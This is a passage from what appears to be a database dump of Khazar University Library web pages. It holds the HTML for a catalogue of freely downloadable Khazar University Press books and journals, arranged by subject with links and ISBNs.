more...</a><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/math.JPG\" width=\"91\" height=\"131\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/215\">Khazar Journal of Mathematics</a>&nbsp;(PDF) &nbsp;<br>Founded in 1998, Khazar Journal of Mathematics is a quarterly journal publishing original peer reviewed articles and surveys on general methods and techniques of modern mathematics with special emphasis on its applications.</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img047.jpg\" width=\"89\" height=\"130\"></td><td><a href=\"http://khazar-review.khazar.org/\">Khazar View</a><a href=\"http://khazar-review.khazar.org/\">&nbsp;</a>(PDF)<br>Founded by Khazar University, the Khazar View journal has been publishing continuously since 1995.The journal prints articles in the Azerbaijani, Turkish, Russian and English languages on subjects such as student life, changes in education, academics, the arts, literature, culture, tourism, sports, and interesting news...&nbsp;<a href=\"http://library.khazar.org/s141/Khazar-View/en\">Read more...</a></td></tr></tbody></table>'),(4998,2913,'en','Khazar University ePublications','Khazar University ePublications','<p>Many of the books produced by Khazar University Press (KUP) are available free in electronic format. Below is the list of KUP books that are available to download. &nbsp;<strong><br></strong></p><p><br></p><p><strong style=\"font-size:large\">Archaeology</strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/arxeoloq.JPG\" width=\"90\" height=\"93\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/995\">Arxeoloqun çöl gündəliyindən</a>&nbsp;(PDF), 2009<br>&nbsp;<br>Qüdrət İsmayılzadə<br>&nbsp;<br>ISBN 978-9952-20-054-6<br>&nbsp;<br></td></tr></tbody></table><strong style=\"font-size:large\"><br></strong><p></p><p><strong style=\"font-size:large\">Biography</strong></p><table width=\"627\" height=\"632\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/img023.jpg\" width=\"98\" height=\"113\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1031/1/Biblioqrafiya%20Hamlet%20edited%20by%20Martha.pdf\">Hamlet İsaxanlı: Biblioqrafiya. Alim, Qurucu, Şair</a>&nbsp;(PDF), 2010<br>&nbsp;<br>ISBN 978-9952-20-048-5&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img042.jpg\" width=\"91\" height=\"112\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/988/1/Bahlul%20kitab.pdf\">Bəhlul Abdulla-Sevgi dolu alim və pedaqoq</a>&nbsp;(PDF), 2010<br>&nbsp;<br>ISBN 987-9952-20-058-4<br><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/bu%20dunyaya.jpg\" width=\"87\" height=\"116\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1123/1/bu%20dunyaya%20ne%20getirdim%20dez%20Times.pdf\">Bu dünyaya nə gətirdim... Hamlet İsayev (İsaxanlı)/ Что в этот мир принес я…Гамлет Исаев (Исаханлы)</a>&nbsp;(PDF), 2005<br>&nbsp;<br>Knyaz Aslan<br>&nbsp;<br>Vahid Ömərli<br>&nbsp;<br>ISBN 9952-20-032-3<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/ISBN%20001.jpg\" width=\"91\" height=\"124\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/820/1/bib9.pdf\">Xəzər Universitəsinin Nəşrləri Aləmində Biblioqrafik Göstərici (1991-2006)</a>&nbsp;(PDF), 2006<br>&nbsp;<br>ISBN 9952-20-033-1<br></td></tr></tbody></table><p></p><p><strong style=\"font-size:large\"><br></strong></p><p><strong style=\"font-size:large\">Economics, Business and Management</strong></p><table width=\"631\" height=\"195\"><tbody><tr><td>&nbsp; &nbsp;&nbsp; &nbsp; &nbsp;<br></td><td><img src=\"http://library.khazar.org/media/dictionary.jpg\" width=\"86\" height=\"125\">&nbsp;</td><td>&nbsp;<br><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1537/1/Dictionary_PM.pdf\">English-Azerbaijani&nbsp; Azerbaijani-English Concise Dictionary of Project Management Terms</a>&nbsp;(PDF), 2012&nbsp;<br>M.N. Nuriyev&nbsp;<br>ISBN 978-9952-20-070-6<br>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/img044.jpg\" width=\"88\" height=\"129\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1195\">Şirkətlərarası rəqabət</a>&nbsp;(PDF), 2010<br>&nbsp;<br>İntiqam Bəşirov<br><br></td></tr></tbody></table><strong style=\"font-size:large\"><br></strong><p></p><p><strong style=\"font-size:large\">Education</strong><strong><br></strong></p><table width=\"629\" height=\"129\"><tbody><tr><td><br></td><td><img src=\"http://library.khazar.org/media/img038.jpg\" width=\"87\" height=\"130\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1013/1/In%20search%20of%20Khazar.pdf\">In search of \"Khazar\"</a>&nbsp;(PDF), 2006<br>&nbsp;<br>Hamlet İsaxanlı<br>&nbsp;<br>ISBN 978-9952-20-034-8<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Picture%20008.jpg\" width=\"87\" height=\"140\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1673/1/ALITHS20082012.pdf\">Müasir dünyada ali təhsil sistemində nələr baş verir və \"2008-2012-ci illərdə Azərbaycan Respublikasının ali təhsil sistemində islahatlar üzrə Dövlət Proqramı \" necə olsa yaxşıdır?</a>&nbsp;(PDF), 2008<br>&nbsp;<br>Hamlet İsaxanlı<br>&nbsp;<br>ISBN 497-9952-20-044-7<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/img045.jpg\" width=\"86\" height=\"133\">&nbsp;</td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1001/1/on%20education%20system_Isaxanli.pdf\">On education system in transition economy: A view from Azerbaijan</a>&nbsp;(PDF), 2006<br>Hamlet Isaxanli&nbsp;<br>ISBN 978-9952-20-037-9&nbsp;<br>This collection of works examines the past and present of Azerbaijani Education System and offers new perspectives on the development and modernization of education policy.<br></td></tr></tbody></table><strong><br></strong><p></p><p><strong style=\"font-size:large\">Journalism</strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/kontrast%20007.jpg\" width=\"81\" height=\"130\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1157/1/The%20titul%20son.pdf\">Jurnalistikaya giriş</a>&nbsp;(PDF), 2001<br>&nbsp;<br>&nbsp;Stein, M.L.&nbsp;<br>&nbsp;<br>Paterno, S.F.<br><br></td></tr></tbody></table><br><p></p><p><strong style=\"font-size:large\">History</strong></p><table width=\"482\" height=\"135\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/kontrast%20001.jpg\" width=\"90\" height=\"122\">&nbsp;</td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\">Məhəmməd Əmin Rəsulzadə və ictimai-siyasi ideallar</a>&nbsp;(PDF), 2005ISBN 9952-20-028-5&nbsp;<br><br></td></tr></tbody></table><strong><br></strong><p></p><p><strong style=\"font-size:large\">Language</strong></p><table width=\"532\" height=\"239\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/kontrast%20005.jpg\" width=\"86\" height=\"133\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1465\">Azərbaycanda latın əlifbasına keçid və Fərhad Ağazadə</a>&nbsp;(PDF), 2011<br>&nbsp;<br>İsaxan İsaxanlı<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Azerbaijani%20Language.JPG\" width=\"88\" height=\"125\"></td><td><a href=\"http://dspace.khazar.org/jspui/community-list\">The Azerbaijani Language</a>&nbsp;(PDF), 1997<br>&nbsp;<br>Hamlet Isaxanli<br>Elza Ismayilova<br>Firangiz Nasirova<br>ISBN 5-7843-003-2<br></td></tr></tbody></table><strong><br></strong><p></p><p><strong style=\"font-size:large\">Literature</strong><br></p><table width=\"547\" height=\"607\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/img054.jpg\" width=\"84\" height=\"119\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1666\">Azərbaycan dünya ədəbiyyatında</a>&nbsp;(PDF), 2012<br>&nbsp;<br>ISBN 978-9952-20-070-6<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/simpozium.jpg\" width=\"84\" height=\"119\"></td><td><a href=\"file:///C:/Users/userlib101/Downloads/simp%201-ci%20cild%20(1).pdf\">21 - ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları 26-28 May 2014</a>&nbsp;(PDF), 2016 &nbsp;<br>ISBN 978-9952-20-107-9</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><a href=\"file:///C:/Users/userlib101/Downloads/simp%201-ci%20cild%20(1).pdf\"></a><br></td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/simpozium.jpg\" width=\"89\" height=\"126\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/3411/1/simp%20ii%20cild2.yeni.pdf\">21 - ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları 26-28 May 2014</a>&nbsp;(PDF), 2016 &nbsp;<br>İSBN 978-9952-20-108-6</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><a href=\"file:///C:/Users/userlib101/Downloads/simp%201-ci%20cild%20(1).pdf\"></a><br></td></tr><tr><td><br></td><td><img src=\"http://library.khazar.org/media/kontrast%20003.jpg\" width=\"86\" height=\"111\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1119/1/kitabi%20dedem%20qorqud.pdf\">Kitabi Dedem Qorqud</a>&nbsp;(PDF), 2010<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/database%200179.jpg\" width=\"81\" height=\"108\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1155/1/Eflatun%20saracli%20.pdf\">Ömür keçdi yuxu kimi</a>&nbsp;(PDF), 2002<br>&nbsp;<br>Əflatun Saraçlı<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/img050.jpg\" width=\"83\" height=\"115\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1069/1/Qacaq%20Isaxan%20dastani.pdf\">Qaçaq İsaxan dastanı</a>&nbsp;(PDF), 2009<br>&nbsp;<br>Zahid Ələmpaşalı<br>&nbsp;ISBN 978-9952-20-056-0<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img051.jpg\" width=\"85\" height=\"110\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1063/1/Qacaq%20Mahmud.pdf\">Qaçaq Mahmud dastanı</a>&nbsp;(PDF), 2009<br>&nbsp;<br>Zahid Ələmpaşalı<br>ISBN 978-9952-20-057-7<br></td></tr></tbody></table><p></p><p><strong><br></strong></p><p><strong style=\"font-size:large\">Literature Studies</strong><span style=\"font-size:large\"><br></span></p><table width=\"607\" height=\"351\"><tbody><tr><td>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/H%C9%99yat%C4%B1n%20dastan%C4%B1.JPG\" width=\"82\" height=\"103\"><br></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1891?mode=full&amp;submit_simple=Show+full+item+record\">Həyatın Dastanı: ədəbi-fəlsəfi düşüncələr</a>&nbsp;(PDF), 2012<br>&nbsp;<br>Əli Rza Xələfli<br>&nbsp;<br>ISBN 978-9952-20-071-3<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img068.jpg\" width=\"86\" height=\"107\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1994\">Незадаром ему мигнули очи - Есенин в Баку</a>&nbsp;(PDF), 2012<br>&nbsp;<br>Исахан Исаханлы<br>ISBN 9952-20-9952-20-074-4<br><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img040.jpg\" width=\"81\" height=\"113\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1291\">Klassik rus poeziyasından nümunələr İsaxanın tərcüməsində</a>&nbsp;(PDF), 2011<br><br>İsaxan İsaxanlı<br><br>ISBN 978-9952-20-64-5<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img037.jpg\" width=\"85\" height=\"112\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1005\">Şeir gülüstanının təkrarolunmaz çiçəyi - Serqey Yesenin</a>(PDF), 2010<br>&nbsp;<br>İsaxan İsaxanlı<br>&nbsp;<br>ISBN 978-9952-20-059-<br></td></tr></tbody></table><p></p><p><strong><br></strong></p><p><strong style=\"font-size:large\">Medicine</strong><br></p><table width=\"564\" height=\"88\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/kontrast%20002.jpg\" width=\"88\" height=\"117\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1159/1/page%201last.pdf\">Ekoloji epidemiologiya: səhiyyədə tətbiqi və tədqiqat metodları</a>&nbsp;(PDF), 2003<br>&nbsp;<br>ISBN 9952-20- 017-X<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/kontrast%20004.jpg\" width=\"87\" height=\"122\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1099/1/Nijat_book.pdf\">Human Physiology: Lectures</a>&nbsp;(PDF), 2004<br>&nbsp;<br>Nizhad Mikayilzade<br>ISBN&nbsp; 9952-20-027-7<br></td></tr></tbody></table><p></p><p><strong><br></strong></p><p><strong style=\"font-size:large\">Poetry</strong></p><table width=\"446\" height=\"930\"><tbody><tr><td>&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/Picture%20005.jpg\" width=\"87\" height=\"132\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\">Azərbaycan sevgi poeziyası: birinci kitab</a>&nbsp;(PDF), 2008&nbsp;&nbsp;<br>ISBN 978-9952-20-045-4</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\">&nbsp;</a></td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img048.jpg\" width=\"85\" height=\"125\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\"><br></a><br><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1661\">Azərbaycan sevgi poeziyası: ikinci kitab</a>&nbsp;(PDF), 2009&nbsp; &nbsp;<br>ISBN&nbsp;978-9952-20-050-8<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/database%20017.jpg\" width=\"87\" height=\"105\"></td><td>&nbsp;<br><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1662\">Azərbaycan sevgi poeziyası: üçüncü kitab</a>&nbsp;(PDF), 2009&nbsp; &nbsp;<br>ISBN&nbsp;978-9952-20-051-5<br>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/bu%20da%20bir.jpg\" width=\"88\" height=\"133\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\">Bu&nbsp;da&nbsp;bir&nbsp;həyatdı</a>&nbsp;(PDF), 2004Hamlet IsaxanlıISBN 9952-20-018-8&nbsp;<br></td></tr><tr><td>&nbsp;</td><td><br></td><td><br></td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Picture%20009.jpg\" width=\"89\" height=\"137\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1480\">Dördlüklər</a>&nbsp;(PDF), 2007 &nbsp;<br>Hamlet Isaxanlı&nbsp;<br>ISBN 978-9952-042-3</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/suleymanli.jpg\" width=\"91\" height=\"118\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1319\">Gecə qapı kimi aç...</a>&nbsp;(PDF), 2011 &nbsp;<br>Mövlüd Süleymanlı &nbsp;<br>ISBN 978-9952-20-066-9</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/kontrast.jpg\" width=\"87\" height=\"129\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1486/1/kontrast_russon.pdf\">Контрасты</a>&nbsp;(PDF), 2006&nbsp; &nbsp;<br>Гамлет Исаханлы&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/kontrast%20006%20paint.JPG\" width=\"87\" height=\"128\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1121/1/Afaq%20Shixli-3%20%28Son%29zak%20en%20son.pdf\">Məndən uzaqda</a>&nbsp;(PDF), 2008&nbsp; &nbsp;<br>Afaq Şıxlı&nbsp; &nbsp;<br>ISBN ﻿﻿﻿﻿978-9952-20-047-8&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img043.jpg\" width=\"87\" height=\"123\"></td><td>&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1488/1/Tezadlar2%20%20version.pdf\">Təzadlar</a>&nbsp;(PDF), 2001Hamlet İsaxanlıISBN 9952-20-002-1</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/database%2022017.jpg\" width=\"90\" height=\"133\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1490/1/ziyaret%20dezen%20son.pdf\">Ziyarət</a>&nbsp;(PDF), 2010Hamlet İsaxanlıISBN 978-9952-20-049-2&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Poetik_tercumeler.jpg\" width=\"90\" height=\"157\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/2218/2/poetik%20terc%20yeni.pdf\">Poetik tərcümələr: 1 - ci toplu</a>&nbsp;(PDF), 2005<br>Hamlet İsaxanlı<br>ISBN 978-9952-20-031-5<br>&nbsp;<br></td></tr></tbody></table><strong></strong><strong></strong><br><p></p><p><strong>Politics</strong></p><table width=\"571\" height=\"162\"><tbody><tr><td>&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/database%20193.jpg\" width=\"88\" height=\"136\"><br></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/3197/1/Heyd%C9%99r%20%C6%8Fliyev%20-%207-8%20birlesib.pdf\">Heydər Əliyev və İranla daimi dostluğa əsaslanan baxış</a>&nbsp;(PDF), 2014Möhsün Pakayin&nbsp;İSBN 978-9952-20-093-5<div><br></div></td></tr></tbody></table><strong><br></strong><p></p><p><strong style=\"font-size:large\">Religion</strong></p><p><strong></strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><strong><img src=\"http://library.khazar.org/media/img041.jpg\" width=\"92\" height=\"124\"></strong></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1808\">Amerika müsəlmanları</a>&nbsp;(PDF), 2010&nbsp;&nbsp;<br>ISBN 978-9952-20-060-7</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/huseyn%20tovfiqi.jpg\" width=\"92\" height=\"137\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/2711/1/Dinler%20cap.pdf\">Böyük dinlərlə tanışlıq</a>&nbsp;(PDF), 2013<br>Hüseyn Tövfiqi<br>ISBN 978-9952-20-080-5<br>&nbsp;<br></td></tr></tbody></table><strong><br></strong><p></p><p><strong>Rules and Regulations</strong></p><p></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/esasname.JPG\" width=\"87\" height=\"115\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/2305\">Əsasnamələr və qaydalar toplusu</a>&nbsp;(PDF), 2013 &nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table><strong><br></strong><p></p><p><strong>Science and Art</strong></p><p></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/Picture%20004.jpg\" width=\"88\" height=\"115\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1651/1/ELM%20ve%20SANAT%20book%201%20yeni.pdf\">Elm və sənət məclisi 1-10</a>&nbsp;(PDF), 2008&nbsp;&nbsp;<br>ISBN 978-9952-20-046-1</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><strong><img src=\"http://library.khazar.org/media/elm.JPG\" width=\"90\" height=\"120\"></strong></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1650\">Elm və sənət məclisi 11-20</a>&nbsp;(PDF), 2011&nbsp;<br>ISBN 978-9952-20-065-2</td></tr></tbody></table><strong><br></strong><p></p><p><strong style=\"font-size:large\">Social Sciences</strong></p><p><strong></strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><strong><strong><img src=\"http://library.khazar.org/media/CRRC.JPG\" width=\"94\" height=\"125\"></strong></strong></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1639/1/Final%20CB%202011%20questionnaire%20ENG.pdf\">Caucasus Barometer 2011</a>&nbsp;(PDF), 2011</td></tr></tbody></table><strong><br></strong><p></p><p><strong style=\"font-size:large\">Catalog</strong></p><p></p><table width=\"632\" height=\"64\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><strong><img src=\"http://library.khazar.org/media/cataloq.jpg\" width=\"90\" height=\"124\"></strong>&nbsp;<br></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/447\">Khazar University Catalog 2008 - 2009</a>&nbsp;(PDF), 2008 &nbsp;<br>Khazar University Catalog &nbsp;reflects the general information on Khazar University. It is designed primarily for students and academics who are interested in the undergraduate, graduate and professional study programs. It includes information regarding academic requirements, course offerings, resources available, Schools, Academic Departments, Institutes and Centers.</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Xezer%20Universiteti%20kataloq.JPG\" width=\"90\" height=\"95\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/2991\">Khazar University Catalog</a>&nbsp;(PDF), 2013<br>&nbsp;<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/texnoloji%20laboratoriya.JPG\" width=\"90\" height=\"96\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/3458\">Khazar University. Technological Laboratories &amp; Centers</a>&nbsp;(PDF), 2016<br>&nbsp;<br>ISBN 978-9952-20-110-9<br></td></tr></tbody></table><strong><br></strong><p></p><p style=\"font-size:large\"><strong>Research Journals/ Periodicals</strong><strong>&nbsp;</strong></p><table width=\"635\" height=\"553\"><tbody><tr><td>&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/img046.jpg\" width=\"91\" height=\"132\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/160\">Azerbaijan Archaeology</a>&nbsp;(PDF) &nbsp;<br>The Azerbaijani Archaeology journal is a popular science journal published by the Department of History and Archaeology of Khazar University since 1999. The journal was founded by Prof. Hamlet Isakhanli. The chief editor of the journal is Prof. Qudrat Ismailzade...&nbsp;<a href=\"http://library.khazar.org/s140/Azerbaijan--Archaeology/en\">Read more...</a><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/HSS.JPG\" width=\"90\" height=\"128\"><br></td><td>&nbsp;<a href=\"http://jhss-khazar.org/about-journal/\">Khazar Journal of Humanities and Social Sciences</a>&nbsp;(PDF)&nbsp;<br>Khazar Journal of Humanities and Social Sciences is an open-access, peer-reviewed journal published by Khazar University Press (Baku, Azerbaijan).The Journal focuses on the results of original research projects in various fields of History, Politics, International Relations, Education, Culture, History of Thoughts, Language and Literature, Economics and Law...&nbsp;<a href=\"http://jhss-khazar.org/about-journal/\">Read more...</a><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/math.JPG\" width=\"91\" height=\"131\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/215\">Khazar Journal of Mathematics</a>&nbsp;(PDF) &nbsp;<br>Founded in 1998, Khazar Journal of Mathematics is a quarterly journal publishing original peer reviewed articles and surveys on general methods and techniques of modern mathematics with special emphasis on its applications.</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img047.jpg\" width=\"89\" height=\"130\"></td><td><a href=\"http://khazar-review.khazar.org/\">Khazar View</a><a href=\"http://khazar-review.khazar.org/\">&nbsp;</a>(PDF)<br>Founded by Khazar University, the Khazar View journal has been publishing continuously since 1995.The journal prints articles in the Azerbaijani, Turkish, Russian and English languages on subjects such as student life, changes in education, academics, the arts, literature, culture, tourism, sports, and interesting news...&nbsp;<a href=\"http://library.khazar.org/s141/Khazar-View/en\">Read more...</a></td></tr></tbody></table><br>'),(5058,2944,'en','Library Collections','Library Collections','<p style=\"text-align:justify\">Khazar&nbsp;University&nbsp;holds the largest library collection among private universities and the largest collection in the English language 